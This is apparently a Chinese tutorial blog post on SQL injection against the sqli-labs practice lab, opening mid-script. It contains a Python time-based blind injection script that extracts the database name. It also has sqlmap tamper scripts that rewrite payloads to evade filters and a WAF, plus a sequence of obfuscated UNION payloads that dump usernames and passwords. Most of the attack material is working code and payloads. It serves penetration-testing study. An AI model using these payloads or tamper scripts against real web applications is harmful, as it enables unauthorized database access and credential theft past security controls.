"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 
Safari/537.36"
}
c_set= string.printable.strip()
def get_timeout(url):
try:
res = requests.get(url= url, headers= headers, timeout= 3)
except:
return "timeout"
else:
return res.text
# 获取内容长度
def get_content_len(url):
for i in range(1, 100):
payload= f"?id=1' and if(length(database())={i},sleep(5),1) 
-- AJEST"

full_url= url+ payload

print(full_url)

if "timeout" in get_timeout(full_url):
break

return i


# 按位获取内容

def get_content(content_len):

content = ""

for i in range(1, content_len+ 1):

for c in c_set:

payload= f"?id=1' and if(ascii(substr(database(),
{i},1))={ord(c)},sleep(5),1) --+"

full_url= url+ payload
# print(full_url)

if "timeout" in get_timeout(full_url):
content+= c
print(f"[+] The content: {content}")
break

return content

content_len= get_content_len(url)
print(f"[+] The length of content: {content_len}")

get_content(content_len)

定制sqlmap

sqli-labs/less-26

被过滤字符

字符 替代字符
--+ and '1 and '1'='1
# and '1 and '1'='1
and anANDd
or oORr
<space> %a0

完整sql语句

复制代码
?
id=1'%a0aandnd%a01=2%a0union%a0select%a0database(),version(),3%a0aAND
nd%a0'1
?
id=1'%a0aandnd%a01=2%a0union%a0select%a01,database(),3%a0anandd%a01='
1

注意:

  • 切换 php 版本为 5.2。

  • 切换 linux 系统。

tamper脚本

​ SQLMap 是一款 SQL 注入神器,可以通过 tamper 对注入 payload 进行编码和变形,以达到绕过某些限制的目的。但是有些时候,SQLMap 自带的 tamper 脚本并不是特别好用,需要根据实际情况定制 tamper 脚本

python 复制代码
sr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass
def tamper(payload, **kwargs):

    """
    "-- "   and 1='1
    #       and 1='1
    and     aANDnd
    or      oORr
    " "     %A0
    """
    payload = re.sub(r"(?i)-- ","and 1='1",payload)
    payload = re.sub(r"(?i)#"," and '1'='1",payload)
    payload = re.sub(r"(?i)and","aANDnd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i) ","%A0",payload)

    return payload

参考

WAF Bypass

​ 针 对 Web 安 全 的 防 护 , 需 要 使 用 一 款 安 全 产 品 , Web 应 用 安 全 防 火 墙 ( Web Application Firewall,WAF)。

攻防对抗:

​ 防守方,根据 WAF 设备的报警及时进行拦截处理,应急响应,溯源反制等工作。攻击方,想尽办法绕过安全防护

Bypass 的主要目的:

  • 已知漏洞存在的情况下,绕过安全防护进行漏洞利用。

  • 免杀

  • 绕过系统安全机制

绕过分析

字符 绕过方法
and /*!14400and*/
order by /**/order/*/%0a*a*/by/**/
union select union/*!88888cas*/%a0/*/*!=*/select/**/
database() database(/*!/*/**%0fAJEST*/*/)
from information_schema.tables /*!from--%0f/%0ainformation_schema.tables/
from information_schema.columns /*!from--%0f/%0ainformation_schema.columns/
count(*) count(1)

以 /sqli-labs/Less-1/ 为例

复制代码
?id=1' --+
?id=2' --+
?id=2' /*!14400and*/ 1=1 --+
?id=2' /*!14400and*/ 1=2 --+
?id=2' /**/order/*/%0a*a*/by/**/ 4 --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,3 --+
?id=1' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,database(/*!/*/**%0fAJEST*/*/),3 --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,group_concat(table_name) /*!from--
%0f/*%0ainformation_schema.tables*/ where 
table_schema=database(/*!/*/**%0f*/*/) --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,group_concat(column_name) /*!from--
%0f/*%0ainformation_schema.columns*/ where 
table_schema=database(/*!/*/**%0f*/*/) /*!14400and*/ 
table_name='users'--+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,count(*) /*!from--%0f/*%0ausers*/--+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,concat(username,0x3a,password) /*!from--%0f/*%0ausers*/ limit 
1,1--+

tamper脚本

python 复制代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
and /*!14400and*/
order by /**/order/*/%0a*a*/by/**/
union select 
union all select 
union/*!88888cas*//*/%0a*a*/select/**/
database() database(/*!/*/**%0fAJEST*/*/)
from information_schema.schemata /*!from--
%0f/*%0ainformation_schema.schemata*/
from information_schema.tables /*!from--
%0f/*%0ainformation_schema.tables*/
from information_schema.columns /*!from--
%0f/*%0ainformation_schema.columns*/
"""

payload = re.sub(r"(?i)and", "/*!14400and*/", payload)
payload = re.sub(r"(?i)order by", "/**/order/*/%0a*a*/by/**/", 
payload)
payload = re.sub(r"(?i)union select", 
"union/*!88888cas*//*/%0a*a*/select/**/", payload)
payload = re.sub(r"(?i)union all select", 
"union/*!88888cas*//*/%0a*a*/select/**/", payload)
payload = re.sub(r"(?i)from information_schema.schemata", 
"/*!from--%0f/*%0ainformation_schema.schemata*/", payload)
payload = re.sub(r"(?i)from information_schema.tables", 
"/*!from--%0f/*%0ainformation_schema.tables*/", payload)
payload = re.sub(r"(?i)from information_schema.columns", 
"/*!from--%0f/*%0ainformation_schema.columns*/", payload)
payload = re.sub(r"(?i)database\(\)", 
"database(/*!/*/**%0fAJEST*/*/)", payload)
payload = re.sub(r"(?i)count\(*\)","count(1)",payload)
payload = re.sub(r"(?i) as"," /*!14400as*/",payload)
payload = re.sub(r"(?i)char","/*!14400char*/",payload)

return payload
相关推荐
XINO8 分钟前
防火墙双机热备实践
运维·安全
冷冷清清中的风风火火16 分钟前
关于敏感文件或备份 安全配置错误 禁止通过 URL 访问 Vue 项目打包后的 .gz 压缩文件
前端·vue.js·安全
人机与认知实验室19 分钟前
宽度学习与深度学习
人工智能·深度学习·学习
HyperAI超神经24 分钟前
【vLLM 学习】Aqlm 示例
java·开发语言·数据库·人工智能·学习·教程·vllm
原创资讯30 分钟前
安全挑战再升级,2025都有哪些备份与恢复挑战?
安全
XINO40 分钟前
企业常见安全事故排查思路
运维·安全
曼岛_44 分钟前
[密码学基础]商用密码应用安全性评估(密评):网络安全新风口,高薪紧缺人才必备技能
网络·web安全·密码学·密拼工程师
键盘敲没电1 小时前
【iOS】Blocks学习
学习·ios·性能优化·objective-c·cocoa
可乐^奶茶1 小时前
2026《数据结构》考研复习笔记三(C++高级教程)
数据结构·笔记·考研
理想奋斗中1 小时前
MYDB仿MySQL手写数据库项目总结
数据库·mysql·mydb·仿mysql